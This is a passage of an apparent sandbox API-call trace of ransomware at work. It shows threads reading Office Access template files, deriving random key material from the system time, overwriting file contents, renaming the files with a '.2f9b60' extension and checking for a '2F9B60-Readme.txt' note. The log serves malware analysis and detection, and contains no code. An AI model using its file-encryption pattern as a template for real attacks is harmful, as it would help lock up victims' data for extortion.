Office\\Templates\\1033\\Access\\Part\\38e3d2305a8f78.2f9b60", NtPathName=0x39cffc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\38e3d2305a8f78.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0215.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4310bf80 [0238.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310bf80) returned 1 [0238.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b5480) returned 1 [0238.396] NtQueryInformationFile (in: FileHandle=0x1b70, IoStatusBlock=0x39cffcb8, FileInformation=0x39cffcc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x39cffcb8, FileInformation=0x39cffcc8) returned 0x0 [0238.396] NtSetInformationFile (FileHandle=0x1b70, IoStatusBlock=0x39cffcb8, FileInformation=0x39cffcc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0241.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce16ea0) returned 1 [0241.909] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebba60) returned 1 [0241.909] FlushFileBuffers (hFile=0x1b70) returned 1 [0241.920] CloseHandle (hObject=0x1b70) returned 1 [0242.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x43144bf0 [0242.996] wcscpy (in: _Dest=0x43144bf0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" [0242.996] wcscat (in: _Dest=0x43144bf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt" [0242.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2f9b60-readme.txt")) returned 0x20 [0242.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43144bf0) returned 1 [0242.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b15f0) returned 1 Thread: id = 2144 os_tid = 0x1504 [0139.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Details.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\details.accdt")) returned 0x20 [0139.872] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Details.accdt", dwFileAttributes=0x20) returned 1 [0139.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Details.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\details.accdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b58 [0139.873] GetFileSizeEx (in: hFile=0x1b58, lpFileSize=0x34cff7c0 | out: lpFileSize=0x34cff7c0*=20749) returned 1 [0139.873] SetFilePointerEx (in: hFile=0x1b58, liDistanceToMove=0x5109, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.873] ReadFile (in: hFile=0x1b58, lpBuffer=0x34cff740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x34cff788, lpOverlapped=0x0 | out: lpBuffer=0x34cff740*, lpNumberOfBytesRead=0x34cff788*=0x4, lpOverlapped=0x0) returned 1 [0139.961] SetFilePointerEx (in: hFile=0x1b58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b940 [0139.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bbe0 [0139.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bc70 [0139.961] NtQuerySystemTime (in: CurrentTime=0x34cff680 | out: CurrentTime=0x34cff680*=132462177451966000) returned 0x0 [0139.961] RtlRandomEx (in: Seed=0x34cff670 | out: Seed=0x34cff670) returned 0x2467867a [0139.961] RtlRandomEx (in: Seed=0x34cff670 | out: Seed=0x34cff670) returned 0x395c107 [0139.961] RtlRandomEx (in: Seed=0x34cff670 | out: Seed=0x34cff670) returned 0x418ff9ac [0139.962] RtlRandomEx (in: Seed=0x34cff670 | out: Seed=0x34cff670) returned 0xdfaafea [0139.962] RtlRandomEx (in: Seed=0x34cff670 | out: Seed=0x34cff670) returned 0x1e852ab3 [0139.962] RtlRandomEx (in: Seed=0x34cff670 | out: Seed=0x34cff670) returned 0x6e7edfc4 [0139.962] RtlRandomEx (in: Seed=0x34cff670 | out: Seed=0x34cff670) returned 0x2ecbbc1c [0139.962] RtlRandomEx (in: Seed=0x34cff670 | out: Seed=0x34cff670) returned 0x449245dd [0139.962] RtlRandomEx (in: Seed=0x34cff670 | out: Seed=0x34cff670) returned 0xd0e3a69 [0139.962] RtlRandomEx (in: Seed=0x34cff670 | out: Seed=0x34cff670) returned 0x53213350 [0139.962] RtlRandomEx (in: Seed=0x34cff670 | out: Seed=0x34cff670) returned 0x79f01d82 [0139.962] RtlRandomEx (in: Seed=0x34cff670 | out: Seed=0x34cff670) returned 0x208a0ed5 [0139.962] RtlRandomEx (in: Seed=0x34cff670 | out: Seed=0x34cff670) returned 0x1e852ab3 [0139.962] RtlRandomEx (in: Seed=0x34cff670 | out: Seed=0x34cff670) returned 0x5aa2ff29 [0139.962] RtlRandomEx (in: Seed=0x34cff670 | out: Seed=0x34cff670) returned 0x10fff9ea [0139.962] RtlRandomEx (in: Seed=0x34cff670 | out: Seed=0x34cff670) returned 0x5c3eca98 [0139.962] RtlRandomEx (in: Seed=0x34cff670 | out: Seed=0x34cff670) returned 0x6bcc3e4e [0139.962] RtlRandomEx (in: Seed=0x34cff670 | out: Seed=0x34cff670) returned 0x61ef6b02 [0139.962] RtlRandomEx (in: Seed=0x34cff670 | out: Seed=0x34cff670) returned 0x340add03 [0139.962] RtlRandomEx (in: Seed=0x34cff670 | out: Seed=0x34cff670) returned 0x96c8f53 [0139.962] RtlRandomEx (in: Seed=0x34cff670 | out: Seed=0x34cff670) returned 0x364af4c5 [0139.962] RtlRandomEx (in: Seed=0x34cff670 | out: Seed=0x34cff670) returned 0x2db71630 [0139.962] RtlRandomEx (in: Seed=0x34cff670 | out: Seed=0x34cff670) returned 0x74e844a0 [0139.962] RtlRandomEx (in: Seed=0x34cff670 | out: Seed=0x34cff670) returned 0x25b77587 [0139.962] RtlRandomEx (in: Seed=0x34cff670 | out: Seed=0x34cff670) returned 0x3f8504f [0139.962] RtlRandomEx (in: Seed=0x34cff670 | out: Seed=0x34cff670) returned 0x34edea1a [0139.962] RtlRandomEx (in: Seed=0x34cff670 | out: Seed=0x34cff670) returned 0x1674a731 [0139.962] RtlRandomEx (in: Seed=0x34cff670 | out: Seed=0x34cff670) returned 0x31fc7ac4 [0139.962] RtlRandomEx (in: Seed=0x34cff670 | out: Seed=0x34cff670) returned 0x2d3af036 [0139.962] RtlRandomEx (in: Seed=0x34cff670 | out: Seed=0x34cff670) returned 0x3b1443ec [0139.962] RtlRandomEx (in: Seed=0x34cff670 | out: Seed=0x34cff670) returned 0x45162511 [0139.962] RtlRandomEx (in: Seed=0x34cff670 | out: Seed=0x34cff670) returned 0x3846f82f [0139.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bca0 [0139.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0139.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bcd0 [0139.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0139.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bc70) returned 1 [0139.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b940) returned 1 [0139.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4219d570 [0139.972] SetFilePointerEx (in: hFile=0x1b58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.972] ReadFile (in: hFile=0x1b58, lpBuffer=0x4219d570, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x34cff6e0, lpOverlapped=0x0 | out: lpBuffer=0x4219d570*, lpNumberOfBytesRead=0x34cff6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0140.023] SetFilePointerEx (in: hFile=0x1b58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97800 [0140.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0140.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bb50 [0140.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bb50) returned 1 [0140.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421a4d90 [0140.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bb50 [0140.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b940 [0140.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b940) returned 1 [0140.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0140.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97800) returned 1 [0140.026] WriteFile (in: hFile=0x1b58, lpBuffer=0x421a4d90*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x34cff6e0, lpOverlapped=0x0 | out: lpBuffer=0x421a4d90*, lpNumberOfBytesWritten=0x34cff6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0166.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421a4d90) returned 1 [0166.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4219d570) returned 1 [0166.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x423a1310 [0166.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0166.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0166.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1370 [0166.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1370) returned 1 [0166.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x423a1370 [0166.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1340 [0166.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2810 [0166.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2810) returned 1 [0166.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0166.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0166.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10c) returned 0x423ab970 [0166.203] SetFilePointerEx (in: hFile=0x1b58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0166.203] WriteFile (in: hFile=0x1b58, lpBuffer=0x423ab970*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x34cff790, lpOverlapped=0x0 | out: lpBuffer=0x423ab970*, lpNumberOfBytesWritten=0x34cff790*=0x10c, lpOverlapped=0x0) returned 1 [0207.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd979e0 [0207.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebac60 [0207.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e740 [0207.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e740) returned 1 [0207.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x2050e740 [0207.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e770 [0207.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eb00 [0207.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050eb00) returned 1 [0207.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebac60) returned 1 [0207.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd979e0) returned 1 [0207.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x431ac720 [0207.542] sprintf (in: _Dest=0x431ac720, _Format="%c%c" | out: _Dest="55") returned 2 [0207.542] sprintf (in: _Dest=0x431ac722, _Format="%c%c" | out: _Dest="23") returned 2 [0207.542] sprintf (in: _Dest=0x431ac724, _Format="%c%c" | out: _Dest="fd") returned 2 [0207.542] sprintf (in: _Dest=0x431ac726, _Format="%c%c" | out: _Dest="1a") returned 2 [0207.542] sprintf (in: _Dest=0x431ac728, _Format="%c%c" | out: _Dest="c9") returned 2 [0207.542] sprintf (in: _Dest=0x431ac72a, _Format="%c%c" | out: _Dest="04") returned 2 [0207.542] sprintf (in: _Dest=0x431ac72c, _Format="%c%c" | out: _Dest="9a") returned 2 [0207.542] sprintf (in: _Dest=0x431ac72e, _Format="%c%c" | out: _Dest="ff") returned 2 [0207.542] sprintf (in: _Dest=0x431ac730, _Format="%c%c" | out: _Dest="47") returned 2 [0207.542] sprintf (in: _Dest=0x431ac732, _Format="%c%c" | out: _Dest="4f") returned 2 [0207.542] sprintf (in: _Dest=0x431ac734, _Format="%c%c" | out: _Dest="00") returned 2 [0207.543] sprintf (in: _Dest=0x431ac736, _Format="%c%c" | out: _Dest="67") returned 2 [0207.543] sprintf (in: _Dest=0x431ac738, _Format="%c%c" | out: _Dest="f0") returned 2 [0207.543] sprintf (in: _Dest=0x431ac73a, _Format="%c%c" | out: _Dest="d6") returned 2 [0207.543] sprintf (in: _Dest=0x431ac73c, _Format="%c%c" | out: _Dest="d1") returned 2 [0207.543] sprintf (in: _Dest=0x431ac73e, _Format="%c%c" | out: _Dest="74") returned 2 [0207.543] sprintf (in: _Dest=0x431ac740, _Format="%c%c" | out: _Dest="8f") returned 2 [0207.543] sprintf (in: _Dest=0x431ac742, _Format="%c%c" | out: _Dest="2a") returned 2 [0207.543] sprintf (in: _Dest=0x431ac744, _Format="%c%c" | out: _Dest="06") returned 2 [0207.543] sprintf (in: _Dest=0x431ac746, _Format="%c%c" | out: _Dest="0e") returned 2 [0207.543] sprintf (in: _Dest=0x431ac748, _Format="%c%c" | out: _Dest="da") returned 2 [0207.543] sprintf (in: _Dest=0x431ac74a, _Format="%c%c" | out: _Dest="74") returned 2 [0207.543] sprintf (in: _Dest=0x431ac74c, _Format="%c%c" | out: _Dest="f6") returned 2 [0207.543] sprintf (in: _Dest=0x431ac74e, _Format="%c%c" | out: _Dest="73") returned 2 [0207.543] sprintf (in: _Dest=0x431ac750, _Format="%c%c" | out: _Dest="28") returned 2 [0207.543] sprintf (in: _Dest=0x431ac752, _Format="%c%c" | out: _Dest="e4") returned 2 [0207.543] RtlInitAnsiString (in: DestinationString=0x34cff808, SourceString="5523fd1ac9049aff474f0067f0d6d1748f2a060eda74f67328e4" | out: DestinationString="5523fd1ac9049aff474f0067f0d6d1748f2a060eda74f67328e4") [0207.543] RtlAnsiStringToUnicodeString (in: DestinationString=0x34cff7d8, SourceString="5523fd1ac9049aff474f0067f0d6d1748f2a060eda74f67328e4", AllocateDestinationString=1 | out: DestinationString="5523fd1ac9049aff474f0067f0d6d1748f2a060eda74f67328e4") returned 0x0 [0207.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1cebace0 [0207.544] wcscat (in: _Dest=0x431454e0, _Source="5523fd1ac9049" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\5523fd1ac9049") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\5523fd1ac9049" [0207.544] wcscat (in: _Dest=0x431454e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\5523fd1ac9049.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\5523fd1ac9049.2f9b60" [0207.544] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\5523fd1ac9049.2f9b60", NtPathName=0x34cff7b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\5523fd1ac9049.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x430fcc00 [0238.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430fcc00) returned 1 [0238.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x432121a0) returned 1 [0238.397] NtQueryInformationFile (in: FileHandle=0x1b58, IoStatusBlock=0x34cff818, FileInformation=0x34cff828, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x34cff818, FileInformation=0x34cff828) returned 0x0 [0238.397] NtSetInformationFile (FileHandle=0x1b58, IoStatusBlock=0x34cff818, FileInformation=0x34cff828, Length=0x28, FileInformationClass=0x4) returned 0x0 [0241.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431454e0) returned 1 [0241.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebace0) returned 1 [0241.924] FlushFileBuffers (hFile=0x1b58) returned 1 [0241.932] CloseHandle (hObject=0x1b58) returned 1 [0243.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x43144bf0 [0243.005] wcscpy (in: _Dest=0x43144bf0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" [0243.005] wcscat (in: _Dest=0x43144bf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt" [0243.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2f9b60-readme.txt")) returned 0x20 [0243.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43144bf0) returned 1 [0243.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1f50) returned 1 Thread: id = 2145 os_tid = 0x1508 [0139.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Dialog.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\dialog.accdt")) returned 0x20 [0139.879] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Dialog.accdt", dwFileAttributes=0x20) returned 1 [0139.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Dialog.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\dialog.accdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b54 [0139.880] GetFileSizeEx (in: hFile=0x1b54, lpFileSize=0x3986f7c0 | out: lpFileSize=0x3986f7c0*=21465) returned 1 [0139.880] SetFilePointerEx (in: hFile=0x1b54, liDistanceToMove=0x53d5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.881] ReadFile (in: hFile=0x1b54, lpBuffer=0x3986f740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3986f788, lpOverlapped=0x0 | out: lpBuffer=0x3986f740*, lpNumberOfBytesRead=0x3986f788*=0x4, lpOverlapped=0x0) returned 1 [0139.973] SetFilePointerEx (in: hFile=0x1b54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b940 [0139.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bc70 [0139.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bd00 [0139.973] NtQuerySystemTime (in: CurrentTime=0x3986f680 | out: CurrentTime=0x3986f680*=132462177452122000) returned 0x0 [0139.973] RtlRandomEx (in: Seed=0x3986f670 | out: Seed=0x3986f670) returned 0x6f921df1 [0139.973] RtlRandomEx (in: Seed=0x3986f670 | out: Seed=0x3986f670) returned 0x39d22006 [0139.973] RtlRandomEx (in: Seed=0x3986f670 | out: Seed=0x3986f670) returned 0x19eb04b0 [0139.973] RtlRandomEx (in: Seed=0x3986f670 | out: Seed=0x3986f670) returned 0x2d79ab60 [0139.973] RtlRandomEx (in: Seed=0x3986f670 | out: Seed=0x3986f670) returned 0xb028c6e [0139.973] RtlRandomEx (in: Seed=0x3986f670 | out: Seed=0x3986f670) returned 0x67e73a61 [0139.973] RtlRandomEx (in: Seed=0x3986f670 | out: Seed=0x3986f670) returned 0x2f184431 [0139.974] RtlRandomEx (in: Seed=0x3986f670 | out: Seed=0x3986f670) returned 0x7cb41e29 [0139.974] RtlRandomEx (in: Seed=0x3986f670 | out: Seed=0x3986f670) returned 0x1a545528 [0139.974] RtlRandomEx (in: Seed=0x3986f670 | out: Seed=0x3986f670) returned 0x6e5100e8 [0139.974] RtlRandomEx (in: Seed=0x3986f670 | out: Seed=0x3986f670) returned 0x19eb04b0 [0139.974] RtlRandomEx (in: Seed=0x3986f670 | out: Seed=0x3986f670) returned 0x2df08c26 [0139.974] RtlRandomEx (in: Seed=0x3986f670 | out: Seed=0x3986f670) returned 0x1ab65277 [0139.974] RtlRandomEx (in: Seed=0x3986f670 | out: Seed=0x3986f670) returned 0x27aa6418 [0139.974] RtlRandomEx (in: Seed=0x3986f670 | out: Seed=0x3986f670) returned 0x3e9808c6 [0139.974] RtlRandomEx (in: Seed=0x3986f670 | out: Seed=0x3986f670) returned 0x24716488 [0139.974] RtlRandomEx (in: Seed=0x3986f670 | out: Seed=0x3986f670) returned 0x7028a693 [0139.974] RtlRandomEx (in: Seed=0x3986f670 | out: Seed=0x3986f670) returned 0x15ebe611 [0139.974] RtlRandomEx (in: Seed=0x3986f670 | out: Seed=0x3986f670) returned 0x208a0ed5 [0139.974] RtlRandomEx (in: Seed=0x3986f670 | out: Seed=0x3986f670) returned 0x31de061f [0139.974] RtlRandomEx (in: Seed=0x3986f670 | out: Seed=0x3986f670) returned 0x1af8bccc [0139.974] RtlRandomEx (in: Seed=0x3986f670 | out: Seed=0x3986f670) returned 0x6f732332 [0139.974] RtlRandomEx (in: Seed=0x3986f670 | out: Seed=0x3986f670) returned 0x5a6a2062 [0139.974] RtlRandomEx (in: Seed=0x3986f670 | out: Seed=0x3986f670) returned 0x79cc9965 [0139.974] RtlRandomEx (in: Seed=0x3986f670 | out: Seed=0x3986f670) returned 0x6a2aa82b [0139.974] RtlRandomEx (in: Seed=0x3986f670 | out: Seed=0x3986f670) returned 0x717fc6ab [0139.974] RtlRandomEx (in: Seed=0x3986f670 | out: Seed=0x3986f670) returned 0x438b648a [0139.974] RtlRandomEx (in: Seed=0x3986f670 | out: Seed=0x3986f670) returned 0x43962afc [0139.974] RtlRandomEx (in: Seed=0x3986f670 | out: Seed=0x3986f670) returned 0x2ebac9e2 [0139.974] RtlRandomEx (in: Seed=0x3986f670 | out: Seed=0x3986f670) returned 0x21867b53 [0139.974] RtlRandomEx (in: Seed=0x3986f670 | out: Seed=0x3986f670) returned 0x611e143e [0139.974] RtlRandomEx (in: Seed=0x3986f670 | out: Seed=0x3986f670) returned 0x1e833dd3 [0139.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bd30 [0139.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0139.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bd60 [0139.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0139.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bd00) returned 1 [0139.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b940) returned 1 [0139.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421a1180 [0139.988] SetFilePointerEx (in: hFile=0x1b54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.988] ReadFile (in: hFile=0x1b54, lpBuffer=0x421a1180, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3986f6e0, lpOverlapped=0x0 | out: lpBuffer=0x421a1180*, lpNumberOfBytesRead=0x3986f6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0140.028] SetFilePointerEx (in: hFile=0x1b54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97800 [0140.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0140.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b940 [0140.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b940) returned 1 [0140.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421a89a0 [0140.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b940 [0140.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bd00 [0140.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bd00) returned 1 [0140.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0140.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97800) returned 1 [0140.030] WriteFile (hFile=0x1b54, lpBuffer=0x421a89a0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3986f6e0, lpOverlapped=0x0) [0171.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421a89a0) returned 1 [0171.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421a1180) returned 1 [0171.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85a810 [0171.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060cb0 [0171.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859910 [0171.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859910) returned 1 [0171.007] RtlAllocateHeap 